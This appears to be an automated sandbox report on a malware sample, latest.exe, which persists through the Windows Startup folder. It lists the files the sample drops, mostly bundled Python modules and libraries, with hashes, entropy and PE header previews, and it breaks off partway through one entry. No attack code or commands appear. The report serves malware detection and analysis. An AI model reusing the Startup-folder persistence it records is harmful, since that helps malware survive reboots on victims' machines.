Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	125208
Entropy (8bit):	6.262455715174875
Encrypted:	false
SSDEEP:	3072:6WdTrLGXVx7Qt+HEGFCO4w5yirrPrrrrrrbEOyfgv/pWwb8NIMOQI3:zAVxMt7pC5TrWgHos8e
MD5:	64417C2CCD84392880B417E8A9F7A4BC
SHA1:	88C6139471737B14D4161C010B10AD9615766DBB
SHA-256:	FDEACC2AFF71FE21D7A0DE0603388299FA203C2692FDBDB3709F1BC4CC9CDC0E
SHA-512:	05163D678F18EA901C5DA45F41EE25073B7834E711C2809F98DF122E6485B3979C5331709A6F48079A53931D3DBC3B569738B51736260CE1B67811C073C7EA84
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........M..#..#..#.....#..1"..#..1..#..1 ..#..1'...#..1&..#..6"..#..."..#.."..#..6....#..6#..#..6..#..6!..#.Rich.#.........................PE..d....b.f.........." ...(.................................................................`.........................................@o..P....o..................D......../.......... ...T...............................@............................................text...X........................... ..`.rdata..b...........................@..@.data................~..............@....pdata..D...........................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_ssl.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	178456
Entropy (8bit):	5.975111032322451
Encrypted:	false
SSDEEP:	3072:9EkiCZfBmvD1ZLnM2YfW6XSvWJLX2GvMf1ba+VRJNI7IM/H9o/PCrXuI3JVIMC7g:riC5QD1dwW6XSOMfjTwJH
MD5:	90F080C53A2B7E23A5EFD5FD3806F352
SHA1:	E3B339533BC906688B4D885BDC29626FBB9DF2FE
SHA-256:	FA5E6FE9545F83704F78316E27446A0026FBEBB9C0C3C63FAED73A12D89784D4
SHA-512:	4B9B8899052C1E34675985088D39FE7C95BFD1BBCE6FD5CBAC8B1E61EDA2FBB253EEF21F8A5362EA624E8B1696F1E46C366835025AABCB7AA66C1E6709AAB58A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|..j8.98.98.91.09>.9._.8:.9._.8;.9._.80.9._.85.9-X.8>.98.9..9s..8?.9-X.8:.9-X.89.9-X\99.9-X.89.9Rich8.9........................PE..d....b.f.........." ...(.............,....................................................`.............................................d...D...................P......../......x.......T...........................@...@............................................text............................... ..`.rdata...#.......$..................@..@.data...p...........................@....pdata..P............b..............@..@.rsrc................n..............@..@.reloc..x............x..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_uuid.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25880
Entropy (8bit):	6.592919849955951
Encrypted:	false
SSDEEP:	384:maxIcRiAWVIMZwbTHQIYiSy1pCQm9Y+pAM+o/8E9VF0Ny7yYV:ScR3WVIMZwn5YiSyvXMAMxkE8YV
MD5:	D8C6D60EA44694015BA6123FF75BD38D
SHA1:	813DEB632F3F3747FE39C5B8EF67BADA91184F62
SHA-256:	8AE23BFA84CE64C3240C61BEDB06172BFD76BE2AD30788D4499CB24047FCE09F
SHA-512:	D3D408C79E291ED56CA3135B5043E555E53B70DFF45964C8C8D7FFA92B27C6CDEA1E717087B79159181F1258F9613FE6D05E3867D9C944F43A980B5BF27A75AB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........p.n.#.n.#.n.#..Y#.n.#...".n.#...".n.#...".n.#...".n.#...".n.#...".n.#.n.#.n.#...".n.#...".n.#..5#.n.#...".n.#Rich.n.#................PE..d...db.f.........." ...(.....&......................................................ru....`.........................................p9..L....9..x....`.......P.......6.../...p..@...`3..T........................... 2..@............0..8............................text...h........................... ..`.rdata.......0......................@..@.data...`....@.......&..............@....pdata.......P.......(..............@..@.rsrc........`.......*..............@..@.reloc..@....p.......4..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_wmi.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37656
Entropy (8bit):	6.340152202881265
Encrypted:	false
SSDEEP:	768:rUmqQhTcYr6NxO0VIMCit5YiSyv4YmAJAMxkEn:Im7GBNxO0VIMCiz7SyQYmQxz
MD5:	827615EEE937880862E2F26548B91E83
SHA1:	186346B816A9DE1BA69E51042FAF36F47D768B6C
SHA-256:	73B7EE3156EF63D6EB7DF9900EF3D200A276DF61A70D08BD96F5906C39A3AC32
SHA-512:	45114CAF2B4A7678E6B1E64D84B118FB3437232B4C0ADD345DDB6FBDA87CEBD7B5ADAD11899BDCD95DDFE83FDC3944A93674CA3D1B5F643A2963FBE709E44FB8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........k.L...L...L...E..J.......H.......H.......D...Y...N.......Q.......K...L...........M...Y...M...Y...M...Y...M...Y...M...RichL...........PE..d...db.f.........." ...(....<.......(...................................................`..........................................V..H...HV..................x....d.../......t...dG..T............................C..@............@.......S..@....................text...n(......................... ..`.rdata..4 ...@..."..................@..@.data........p.......P..............@....pdata..x............T..............@..@.rsrc................X..............@..@.reloc..t............b..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	58422784
Entropy (8bit):	6.484840664746955
Encrypted:	false
SSDEEP:	393216:lP/7GQc5t/7riSx7H15lJHzQrGgrlCSeDVUKm/y2MX:gptyiH1cCSeDVUKm/y2
MD5:	05B6254021999F744DF72E1EF9C57451
SHA1:	6792F8225D85893F34F6BD592AD079030E92CA44
SHA-256:	A82A7B36DC40B5028EBC81BBC35D1506D2E0345A9579A08256ED14A3C777FF4A
SHA-512:	B63583C6322632EC43956A33829A5E2ADB86FC746053710D8CF8D8ECBD2BF6142AB140AF9A13016070ABD7EFF811D94E1670EED6FE38A9BC448307E2CADAAD69
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?Qb.^?1.^?1.^?1.&<0.^?1.&:0j^?1.&;0.^?1.^?1.^?1...1.^?1..:0.^?1..;0.^?1..<0.^?1..>0.^?1.&>0.^?1.^>1__?1..;0s\?1..=0.^?1Rich.^?1........................PE..d...{.Sg.........."....&.....................@.............................p............`.................................................<...<........F...P...............P........................................@..............8............................text............................. ..`.rdata............................@..@.data...8...........................@....pdata.......P.......x..............@..@_RDATA..............................@..@.rsrc....F.......H..................@..@.reloc.......P.......\{.............@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\bcrypt\_bcrypt.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	304128
Entropy (8bit):	6.435912222206497
Encrypted:	false
SSDEEP:	6144:dGZdT4vpmI+uyOkjC/g6XMX/cXt2/mW/UcuvJOlRncKNek487Qa858nD8yCKLAvO:M7T4ppVkjC5rCr
MD5:	829AC778D5A82A72FD5F83312D929A93
SHA1:	B42FC4B15C7F9AD2BB84A0CC07040701EA462A0F
SHA-256:	3D26EFEEDD40E9CB67D66803B235F56D38A5932D1D82B86CAE4EDACE5385D27A
SHA-512:	D76F474EBC9BB9E84AAA989B40CF9783469757B535424DB3913FB4BB1C39014E4B17F0067232DCEFD9A5429DD0D4AE9EC15DBCE99CB2FBF285F745739F32D22B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........?..Q..Q..Q......Q.''P..Q.''R..Q.''U..Q.''T..Q.%P..Q..P..Q..P.d.Q..Q.Q.. Q..Q.. S..Q.Rich.Q.................PE..d.....f.........." ...(.$...~............................................................`..........................................w..T....w...................'..............4.......T.......................(...P...@............@...............................text....#.......$.................. ..`.rdata...F...@...H...(..............@..@.data...0............p..............@....pdata...'.......(...t..............@..@.reloc..4...........................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\certifi\cacert.pem

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299427
Entropy (8bit):	6.047872935262006
Encrypted:	false
SSDEEP:	6144:QW1x/M8fRR1jplkXURrVADwYCuCigT/QRSRqNb7d8iu5Nahx:QWb/TRJLWURrI5RWavdF08/
MD5:	50EA156B773E8803F6C1FE712F746CBA
SHA1:	2C68212E96605210EDDF740291862BDF59398AEF
SHA-256:	94EDEB66E91774FCAE93A05650914E29096259A5C7E871A1F65D461AB5201B47
SHA-512:	01ED2E7177A99E6CB3FBEF815321B6FA036AD14A3F93499F2CB5B0DAE5B713FD2E6955AA05F6BDA11D80E9E0275040005E5B7D616959B28EFC62ABB43A3238F0
Malicious:	false
Preview:	.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\charset_normalizer\md.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	4.674392865869017
Encrypted:	false
SSDEEP:	96:KGUmje72HzA5iJGhU2Y0hQMsQJCUCLsZEA4elh3XQMtCFXiHBpv9cX6gTim1qeSC:rjQ2HzzU2bRYoe1HH9cqgTimoe
MD5:	D9E0217A89D9B9D1D778F7E197E0C191
SHA1:	EC692661FCC0B89E0C3BDE1773A6168D285B4F0D
SHA-256:	ECF12E2C0A00C0ED4E2343EA956D78EED55E5A36BA49773633B2DFE7B04335C0
SHA-512:	3B788AC88C1F2D682C1721C61D223A529697C7E43280686B914467B3B39E7D6DEBAFF4C0E2F42E9DDDB28B522F37CB5A3011E91C66D911609C63509F9228133D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..............................M....................................... ...?.......?.......?.a.....?.......Rich............................PE..d....jAe.........." ...%.....................................................p............`..........................................'..p...`(..d....P.......@...............`..,...`#.............................. "..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\charset_normalizer\md__mypyc.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	5.917175475547778
Encrypted:	false
SSDEEP:	3072:bA3W6Fck6/g5DzNa4cMy/dzpd1dhdMdJGFEr6/vD:MW6NzcMy/d13FErgvD
MD5:	BF9A9DA1CF3C98346002648C3EAE6DCF
SHA1:	DB16C09FDC1722631A7A9C465BFE173D94EB5D8B
SHA-256:	4107B1D6F11D842074A9F21323290BBE97E8EED4AA778FBC348EE09CC4FA4637
SHA-512:	7371407D12E632FC8FB031393838D36E6A1FE1E978CED36FF750D84E183CDE6DD20F75074F4597742C9F8D6F87AF12794C589D596A81B920C6C62EE2BA2E5654
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..r...r...r......r...s...r...s...r...w...r...v..r...q...r.#.s...r...s...r..8z...r..8r...r..8....r..8p...r.Rich..r.........................PE..d....jAe.........." ...%.:...........<.......................................0............`.........................................@...d.......................(............ ......P...................................@............P...............................text....8.......:.................. ..`.rdata...W...P...X...>..............@..@.data...8=.......0..................@....pdata..(...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\cryptography\hazmat\bindings\_rust.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7900672
Entropy (8bit):	6.519460416205842
Encrypted:	false
SSDEEP:	49152:Hvisa2OcIo0UYN1YA2sBCT7I0XIU6iOGtlqNVwASO0AIjoI+b0vjemXSKSDhxlT3:Pi/2PTYDBCT7NY+gTNxY7GbdJ295x
MD5:	81AD4F91BB10900E3E2E8EAF917F42C9
SHA1:	840F7AEF02CDA6672F0E3FC7A8D57F213DDD1DC6
SHA-256:	5F20D6CEC04685075781996A9F54A78DC44AB8E39EB5A2BCF3234E36BEF4B190
SHA-512:	11CD299D6812CDF6F0A74BA86EB44E9904CE4106167EBD6E0B81F60A5FCD04236CEF5CFF81E51ED391F5156430663056393DC07353C4A70A88024194768FFE9D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..(...(...(...!...:...8......8...,...8... ...8...9...c..&...G......(...+...`...V...(.....`...)...`...)...Rich(...........................PE..d....j.f.........." ...).`Z..V........X.......................................x...........`.........................................p.r.......r...............t...............x......Cj.T....................Cj.(....Aj.@............pZ..............................text...._Z......`Z................. ..`.rdata..ZR...pZ..T...dZ.............@..@.data....+....r.......r.............@....pdata........t.......s.............@..@.reloc........x.......w.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\cv2\cv2.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	74452480
Entropy (8bit):	6.688458431409654
Encrypted:	false
SSDEEP:	393216:R6j4+mite1TViOawuRCeRiLq1lAfNRHJ/ZxvtmmLiAUwkRifDPVH:RZF1NT9
MD5:	901871C3AB330E0C3070226349EEC860
SHA1:	C07EAB479E0475B0992CDC99D9123981FB06777B
SHA-256:	A73AEB87DC1B2F6CD6E978B653E89604F09BE4B9531573020695CB48EB998E8A
SHA-512:	F45F8F22F552F23092691616E38D6F9AEC01D020C51F4D8B0FDD64FEB45D04135276D967BCD1C102408B757AF25F82F4194F85F8D4A0A3EAEED44ABABB34861C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......k)../H../H../H..B...cH..B...0H..B...H...?.H.....aH.....VH......H..B...H..u.5.~K../H..k..B...3H.....=I..=..,H../H..YI......J......H......H......H..Rich/H..........PE..d....{pf.........." ......L..&5.............................................@............`..........................................UC.d1..D.E.@............pc.................H......T......................(...P.................L.(............................text....P6......R6................. ..`IPPCODE.>B...p6..D...V6............. ..`.rdata........L.......L.............@..@.data........E.......E.............@....pdata.......pc.......Q.............@..@.tls.........p}.......k.............@...IPPDATA..M....}..N....k.............@....gfids..h.....}.......k.............@..@_RDATA........}.......k.............@..@.rsrc.................m.............@..@.reloc..H.............m.........

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\cv2\opencv_videoio_ffmpeg4100_64.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	26391552
Entropy (8bit):	6.593432194938545
Encrypted:	false
SSDEEP:	196608:UQJqLjUxo5PA5MQrrrCyBOuqmWA2EYO8GTkTN/3Ogq2fxSo0U1T:UrPUxoqMQrrruuqt094hvOgq25p0aT
MD5:	BFEF029900F788480A363D6DC05C4F0E
SHA1:	F61AC0F8E6BF1B699698EC9DC94F9088F7C202AE
SHA-256:	3DE83B84588B3EE8BACDBEA85A8F92D4855A32A1108183963315A7DB06AD5744
SHA-512:	83046ABDB5252B831D2D683707BCF3007A1CDC84FB3AB56428507398EC1B9D3A5EC2877B36204B485CAACC407AA22C61FBDE85118F5CCF5DF0B04FFC5D651166
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...".2B......n..P..........p............................................. .............................................. ..p...p..8....0...............................................>..(...................L...............................text...p1B......2B.................`.P`.data........PB......6B.............@.`..rdata..0.>.. G...>...G.............@..@.rodata...... ......................@.P@.pdata.......0......................@.0@.xdata.............................@.0@.bss....`m............................`..edata...............h..............@.0@.idata..p*... ...,...j..............@.0..CRT....`....P......................@.@..tls.........`......................@.@..rsrc...8....p......................@.0..reloc..............................@.0B........................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\libcrypto-3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5232408
Entropy (8bit):	5.940072183736028
Encrypted:	false
SSDEEP:	98304:/V+Qs2NuR5YV0L8PQ1CPwDvt3uFlDC4SC9c:9rs2NuDYV0L841CPwDvt3uFlDC4SCa
MD5:	123AD0908C76CCBA4789C084F7A6B8D0
SHA1:	86DE58289C8200ED8C1FC51D5F00E38E32C1AAD5
SHA-256:	4E5D5D20D6D31E72AB341C81E97B89E514326C4C861B48638243BDF0918CFA43
SHA-512:	80FAE0533BA9A2F5FA7806E86F0DB8B6AAB32620DDE33B70A3596938B529F3822856DE75BDDB1B06721F8556EC139D784BC0BB9C8DA0D391DF2C20A80D33CB04
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(..7..<......v........................................0P.......O...`...........................................H.0.....O.@....@O.\|.... L. .....O../...PO.$...`{D.8............................yD.@.............O..............................text.....7.......7................. ..`.rdata........7.......7.............@..@.data...Ao....K..<....K.............@....pdata....... L.......K.............@..@.idata...%....O..&....N.............@..@.00cfg..u....0O.......N.............@..@.rsrc...\|....@O.......N.............@..@.reloc..~....PO.......N.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\libffi-8.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39696
Entropy (8bit):	6.641880464695502
Encrypted:	false
SSDEEP:	768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
MD5:	0F8E4992CA92BAAF54CC0B43AACCCE21
SHA1:	C7300975DF267B1D6ADCBAC0AC93FD7B1AB49BD2
SHA-256:	EFF52743773EB550FCC6CE3EFC37C85724502233B6B002A35496D828BD7B280A
SHA-512:	6E1B223462DC124279BFCA74FD2C66FE18B368FFBCA540C84E82E0F5BCBEA0E10CC243975574FA95ACE437B9D8B03A446ED5EE0C9B1B094147CEFAF704DFE978
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".H...(.......L...............................................n....`......................................... l.......p..P...............P....l.../......,...@d...............................c..@............`.. ............................text....G.......H.................. ..`.rdata..h....`.......L..............@..@.data................b..............@....pdata..P............d..............@..@.reloc..,............j..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\libssl-3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	792856
Entropy (8bit):	5.57949182561317
Encrypted:	false
SSDEEP:	12288:7LN1sdyIzHHZp5c3nlUa6lxzAG11rbmFe9Xbv:7LgfzH5I3nlUa2AU2Fe9Xbv
MD5:	4FF168AAA6A1D68E7957175C8513F3A2
SHA1:	782F886709FEBC8C7CEBCEC4D92C66C4D5DBCF57
SHA-256:	2E4D35B681A172D3298CAF7DC670451BE7A8BA27C26446EFC67470742497A950
SHA-512:	C372B759B8C7817F2CBB78ECCC5A42FA80BDD8D549965BD925A97C3EEBDCE0335FBFEC3995430064DEAD0F4DB68EBB0134EB686A0BE195630C49F84B468113E3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.>..\|m..\|m..\|m.u.m..\|m+.}l..\|m.u}l..\|m+..l..\|m+.xl..\|m+.yl..\|m..}l..\|m..}m..\|m..xl..\|m..\|l..\|m...m..\|m..~l..\|mRich..\|m................PE..d......f.........." ...(.>..........K........................................0......!+....`..........................................x...Q..............s.... ...M......./......d...p...8...............................@............................................text....<.......>.................. ..`.rdata..hz...P...\|...B..............@..@.data...qN.......H..................@....pdata..pV... ...X..................@..@.idata...c.......d...^..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..C...........................@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\_elementpath.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	149504
Entropy (8bit):	5.951547042858228
Encrypted:	false
SSDEEP:	3072:zbpuTh8Lu413IHKn0MklBDenjwnVyvChfoKk4ly2zMnhVm5CO2:zbpuTh8K413IHDPBDajwVyvcQN4/5Cd
MD5:	90110E7A1D66D71A25E688FC9276B239
SHA1:	EDBDDFD4AB3F64C620232E4B65E9B385818652E8
SHA-256:	44F75C101A881157CA885E202ECE1EF5C709BB23ECF0C903226832F365B61AFC
SHA-512:	5A277F1F15E82DB495916227E056525A841C0D1DAC68218D2219DFE1D39C19D1C08898BFCE4C4343C053B9EB77F9992641D5B1BE88414A1A7955C7AEC349B029
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........].`...`...`....]..`.......`.......`.......`.......`.......`.......`...`...`.......`.......`....1..`.......`..Rich.`..........................PE..d.....f.........." ......................................................................`.........................................p...h.......d....p.......`..........................................................8............................................text...X........................... ..`.rdata..tM.......N..................@..@.data....6... ...&..................@....pdata.......`.......4..............@..@.rsrc........p.......D..............@..@.reloc...............F..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\builder.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	5.974361279516846
Encrypted:	false
SSDEEP:	1536:x/vEcjizHQMtXm0dwi61rYtGD/Xf/nkJoLFO:JEzwM80dO1ktIXkJoLFO
MD5:	C4D8C94F637AD2C1E6B94F8ED7AA7091
SHA1:	198A3D2DE26D7BA92D3545FEE847978C1808E877
SHA-256:	FA706813EBEF149B3EF620959D030597E0DDE6B7F363000885BE46F23B5A4E11
SHA-512:	368FACB8CD9E9F77AB14E33EAF4FAC82A7F109E812900304DC35BB46FB99213FD5B55DE6FF1CD15AC602F7D516C2877999ABF5E67198950206C527E293EE90C4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~'h.:F..:F..:F..3>..8F..h3..8F..q>..8F..h3..1F..h3..2F..h3..9F..)...9F..:F..F...3..;F...3..;F...3..;F...3..;F..Rich:F..........PE..d.....f.........." .........r............................................................`..........................................'..`...P(..d....p.......`..X............... ...p...................................8...............@............................text............................... ..`.rdata...K.......L..................@..@.data...8....@.......*..............@....pdata..X....`.......6..............@..@.rsrc........p.......@..............@..@.reloc.. ............B..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\etree.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4109824
Entropy (8bit):	6.729248423373761
Encrypted:	false
SSDEEP:	49152:yf9NSsLfWRgB/YUu1MU9On5bGHD/A/eXTqFtu5/UBAUZLYBFLh20GaX5sdt:ySvnHDoKUBAUZL
MD5:	970A6090EE9248730CDA390E93D3352B
SHA1:	E2D7D4355392288EB6D95CB1B320D245BFB6E55B
SHA-256:	9488AD20DC65FFF0511916720C935B21D29A3A493120A5A5CC6822BD145ACF37
SHA-512:	CCD8EC1A544FC0045A3F68A53D71F52F01C95163B10B3C9147A4A42E00612E739A22E75D48C97447BB4235768D58FB2CCED9908F6D03DE128B4AD4468C62EE0E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........5M.TT#.TT#.TT#.],..BT#..!".VT#.2;.ST#..!&.XT#..!'.\T#..! .PT#.G.".VT#.TT"..U#..,".ST#..!'..T#..!+.WT#..!#.UT#..!.UT#..!!.UT#.RichTT#.........................PE..d.....f.........." ......&.........@U%.......................................?...........`..........................................g;.\...\g;.T....0?.......=..g...........@?.\|7..P.9.............................p.9.8.............&..............................text...H.&.......&................. ..`.rdata........&.......&.............@..@.data.........;.......;.............@....pdata...g....=..h....=.............@..@.rsrc........0?......\|>.............@..@.reloc..\|7...@?..8...~>.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\objectify.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1756672
Entropy (8bit):	7.045370504797133
Encrypted:	false
SSDEEP:	49152:npMzHmjJIQ9XAHxTlKmuPWfBAUZLYnAwK30GaXO:ngdFfBAUZLT
MD5:	5FF259C9D9609307B7F70AF1CD3BA608
SHA1:	2294190539340DB407C922F2EC2FCA03F784F7DC
SHA-256:	B49C9E620672D52DE3B2EA1736B73AC1D31588788DCFBFC761240F454AA3B02E
